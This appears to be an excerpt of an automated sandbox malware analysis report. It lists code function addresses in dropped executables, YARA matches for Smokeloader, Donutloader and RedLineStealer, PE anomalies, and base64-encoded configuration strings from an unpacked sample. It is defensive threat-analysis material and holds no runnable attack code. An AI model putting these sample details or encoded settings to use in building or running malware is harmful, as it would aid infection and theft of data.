Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B9416C0 24_2_00007FF70B9416C0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8C64A0 24_2_00007FF70B8C64A0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8EB6A0 24_2_00007FF70B8EB6A0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8E3AD0 24_2_00007FF70B8E3AD0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D5ED0 24_2_00007FF70B8D5ED0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8C5AD4 24_2_00007FF70B8C5AD4
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B9004D0 24_2_00007FF70B9004D0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B90B6B0 24_2_00007FF70B90B6B0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B948AB0 24_2_00007FF70B948AB0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8CA0F0 24_2_00007FF70B8CA0F0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B921700 24_2_00007FF70B921700
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D5910 24_2_00007FF70B8D5910
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B901510 24_2_00007FF70B901510
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D3E30 24_2_00007FF70B8D3E30
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8F9830 24_2_00007FF70B8F9830
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B91CC40 24_2_00007FF70B91CC40
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8C1450 24_2_00007FF70B8C1450
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D0050 24_2_00007FF70B8D0050
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B91B020 24_2_00007FF70B91B020
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B91E430 24_2_00007FF70B91E430
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B93C230 24_2_00007FF70B93C230
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B913E80 24_2_00007FF70B913E80
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B912080 24_2_00007FF70B912080
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B915860 24_2_00007FF70B915860
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8F1880 24_2_00007FF70B8F1880
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B9043B0 24_2_00007FF70B9043B0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8DD7A0 24_2_00007FF70B8DD7A0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B93DFD0 24_2_00007FF70B93DFD0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8EA9D0 24_2_00007FF70B8EA9D0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B9057C0 24_2_00007FF70B9057C0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8DCFF0 24_2_00007FF70B8DCFF0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D4BF0 24_2_00007FF70B8D4BF0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B906DE0 24_2_00007FF70B906DE0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8F29E0 24_2_00007FF70B8F29E0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B918C10 24_2_00007FF70B918C10
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B922010 24_2_00007FF70B922010
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B934E10 24_2_00007FF70B934E10
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8EFC10 24_2_00007FF70B8EFC10
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8E4E00 24_2_00007FF70B8E4E00
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8CC400 24_2_00007FF70B8CC400
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D7000 24_2_00007FF70B8D7000
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8CBC00 24_2_00007FF70B8CBC00
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B9111F0 24_2_00007FF70B9111F0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B916DF0 24_2_00007FF70B916DF0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B9449F0 24_2_00007FF70B9449F0
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B935D40 24_2_00007FF70B935D40
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D1920 24_2_00007FF70B8D1920
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B909550 24_2_00007FF70B909550
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B903150 24_2_00007FF70B903150
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B943F20 24_2_00007FF70B943F20
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8F0740 24_2_00007FF70B8F0740
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8CFB70 24_2_00007FF70B8CFB70
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B925B80 24_2_00007FF70B925B80
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B92898B 24_2_00007FF70B92898B
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8ED390 24_2_00007FF70B8ED390
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B917D60 24_2_00007FF70B917D60
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B924370 24_2_00007FF70B924370
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B91F370 24_2_00007FF70B91F370
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B946B70 24_2_00007FF70B946B70
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C51EE 28_2_00007FF7C08C51EE
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C4186 28_2_00007FF7C08C4186
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C3D00 28_2_00007FF7C08C3D00
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C3420 28_2_00007FF7C08C3420
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C4742 28_2_00007FF7C08C4742
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08D0AB8 28_2_00007FF7C08D0AB8
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08D0F0D 28_2_00007FF7C08D0F0D
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08CC7A0 28_2_00007FF7C08CC7A0
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 30_2_00007FF7C08A4752 30_2_00007FF7C08A4752
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 30_2_00007FF7C08A3355 30_2_00007FF7C08A3355
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 30_2_00007FF7C08A4196 30_2_00007FF7C08A4196
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 30_2_00007FF7C08A5243 30_2_00007FF7C08A5243
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB52E0 31_2_02EB52E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC72DD 31_2_02EC72DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED2290 31_2_02ED2290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED1B52 31_2_02ED1B52
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC1B25 31_2_02EC1B25
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC7189 31_2_02EC7189
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED6F80 31_2_02ED6F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB1F10 31_2_02EB1F10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EE3CD0 31_2_02EE3CD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ECEC40 31_2_02ECEC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EECD40 31_2_02EECD40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC82CB 31_2_02EC82CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB7270 31_2_02EB7270
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EBC270 31_2_02EBC270
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED6210 31_2_02ED6210
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED4BF0 31_2_02ED4BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED33B6 31_2_02ED33B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB6B70 31_2_02EB6B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EED340 31_2_02EED340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EEB350 31_2_02EEB350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EBFB10 31_2_02EBFB10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ECE086 31_2_02ECE086
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EE8880 31_2_02EE8880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED6890 31_2_02ED6890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EEB840 31_2_02EEB840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EED010 31_2_02EED010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EEA9E4 31_2_02EEA9E4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED29C9 31_2_02ED29C9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED41A0 31_2_02ED41A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB8960 31_2_02EB8960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EEB160 31_2_02EEB160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB4900 31_2_02EB4900
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EE3680 31_2_02EE3680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC5E97 31_2_02EC5E97
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC4E68 31_2_02EC4E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EC3678 31_2_02EC3678
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED3F97 31_2_02ED3F97
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EEB700 31_2_02EEB700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ED0CB7 31_2_02ED0CB7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02ECEC06 31_2_02ECEC06
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB5DE0 31_2_02EB5DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EB3DD0 31_2_02EB3DD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EEB5A0 31_2_02EEB5A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 32_2_00007FF7C08A63FB 32_2_00007FF7C08A63FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 32_2_00007FF7C08A5E83 32_2_00007FF7C08A5E83
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\B552.exe 505968DFF5E73B6DB05CAAA86EA34633140EC3B7BB75B19167AF7CE4AF641259
Found potential string decryption / allocating functions
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: String function: 02EB93B0 appears 39 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: String function: 02EBFCA0 appears 202 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1536
PE file contains executable resources (Code or Archives)
Source: MyProg.exe.5.dr Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79
PE file contains more sections than normal
Source: B552.exe.14.dr Static PE information: Number of sections : 12 > 10
PE file does not import any functions
Source: 753F.exe.14.dr Static PE information: No import functions for PE file found
Source: F6D9.exe.14.dr Static PE information: No import functions for PE file found
Uses 32bit PE files
Source: 7Y18r(14).exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 37.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 43.2.vm.exe.28c0000.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 37.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 43.2.vm.exe.28c0000.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 00000004.00000002.1462369187.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000025.00000002.3741871434.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002B.00000002.2935972956.0000000004F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000026.00000002.2904757056.0000000003870000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000004.00000002.1462544798.0000000000660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000002.1780544287.0000000002131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.1462755251.00000000006DE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.1780411113.0000000000680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000010.00000002.1780256705.000000000050D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000026.00000002.2881701412.0000000000060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000010.00000002.1780382606.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.1462616334.0000000000681000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0000002B.00000002.2872562883.0000000000480000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: IXDaI.exe.4.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7Y18r(14).exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: IXDaI.exe.4.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ftejced.14.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: IXDaI.exe.4.dr Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 37.2.vm.exe.4e40000.1.raw.unpack, Settings.cs Base64 encoded string: 'uv876R64GyPQROS6Pcq+tT2rujm6QhOA2jKz3+72iK0vssZ7tRu9W1NfcaQ5yk3K4leNInPIlyvrm/sWNe6YUSzW9MnjujJ8wA3fVO6kqY4=', 'tBbcnyqIuxWvE/Aa008Phm66l0gx08l3V72N0uezc1BvWV+aVFh/K2LjDSmziiX4d1we58iQkTKHp5hlA6J3ArDNNUTcH31I6D+8IIWmVEXPfFcr7grctRvtFWbh8/WW', 'vlrU2ttL4QCN9XP+miA1iO2Zi1Qo5KKeTfPUgLmvXsgl1b/ZXBNeN/RykY5FXUbGAFb/hcKmdGI2lxq9dyDNOg==', 'jajjt4fLdfeySHLjOUN+WU7vKFN/tv6flHwdN63QqNLvwdiPerPjqi8pJYhlDxutlcONhE6KmVeSyHLXzp1X0ivMLOia3ounzEFu+OufC35pSXOr0AgnutA9Hm2WMXLR5SrKu9Ep2d9bPbB7jBc3VXBVjkPHm+BjMjy64M6HAubGgc8bZ4x9RmkpsgBYOzwKBmFDp7rKGTxhnrnem674/IV8HtJhbUivlbelAfQbN92NlB/IZHSII0WCgZyWHfjXPeAh7ScQvm1glooPfQyjEFujB5EgoLg8/Q+UZ9OyLZY=', '/3HMGRMO5mfkdekqR4Zafv717iumQMzpVLF6A9pHRaBxVKyvDxb55/QnfojY3GM4MZFgEKqs9lZExa/oUaQFQQ==', 'l439UHfThXI7Tvv4tLPkRk4LgJxneAQ3SRt6rij4oIvNCNJh0dGkWYtmoBCaQASy+UxakX8pDIHBYYo6I0jgiA==', 'H36CdwWLE8twm6SaEVP4wCqEXttEdFNm1/TG0CIbxJ6QscVZsS9u+iDyyURaAEJfbnGnfKxPezH51YuRdKUEGw==', 'X+lWHHhlIbk/ipVH2n6hOx1tpa9s2D5Jo0CwgGIgu5WBtb6gmcLOKhvfywa/wW2BsaqNON/3eZUEUOX0Z6TMoQ=='
Source: 43.2.vm.exe.28c0000.1.raw.unpack, Settings.cs Base64 encoded string: 'uv876R64GyPQROS6Pcq+tT2rujm6QhOA2jKz3+72iK0vssZ7tRu9W1NfcaQ5yk3K4leNInPIlyvrm/sWNe6YUSzW9MnjujJ8wA3fVO6kqY4=', 'tBbcnyqIuxWvE/Aa008Phm66l0gx08l3V72N0uezc1BvWV+aVFh/K2LjDSmziiX4d1we58iQkTKHp5hlA6J3ArDNNUTcH31I6D+8IIWmVEXPfFcr7grctRvtFWbh8/WW', 'vlrU2ttL4QCN9XP+miA1iO2Zi1Qo5KKeTfPUgLmvXsgl1b/ZXBNeN/RykY5FXUbGAFb/hcKmdGI2lxq9dyDNOg==', 'jajjt4fLdfeySHLjOUN+WU7vKFN/tv6flHwdN63QqNLvwdiPerPjqi8pJYhlDxutlcONhE6KmVeSyHLXzp1X0ivMLOia3ounzEFu+OufC35pSXOr0AgnutA9Hm2WMXLR5SrKu9Ep2d9bPbB7jBc3VXBVjkPHm+BjMjy64M6HAubGgc8bZ4x9RmkpsgBYOzwKBmFDp7rKGTxhnrnem674/IV8HtJhbUivlbelAfQbN92NlB/IZHSII0WCgZyWHfjXPeAh7ScQvm1glooPfQyjEFujB5EgoLg8/Q+UZ9OyLZY=', '/3HMGRMO5mfkdekqR4Zafv717iumQMzpVLF6A9pHRaBxVKyvDxb55/QnfojY3GM4MZFgEKqs9lZExa/oUaQFQQ==', 'l439UHfThXI7Tvv4tLPkRk4LgJxneAQ3SRt6rij4oIvNCNJh0dGkWYtmoBCaQASy+UxakX8pDIHBYYo6I0jgiA==', 'H36CdwWLE8twm6SaEVP4wCqEXttEdFNm1/TG0CIbxJ6QscVZsS9u+iDyyURaAEJfbnGnfKxPezH51YuRdKUEGw==', 'X+lWHHhlIbk/ipVH2n6hOx1tpa9s2D5Jo0CwgGIgu5WBtb6gmcLOKhvfywa/wW2BsaqNON/3eZUEUOX0Z6TMoQ=='
Source: 43.2.vm.exe.28c0000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 43.2.vm.exe.28c0000.1.raw.unpack, Methods.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 753F.exe.14.dr, PowerShellLoader.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 753F.exe.14.dr, PowerShellLoader.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
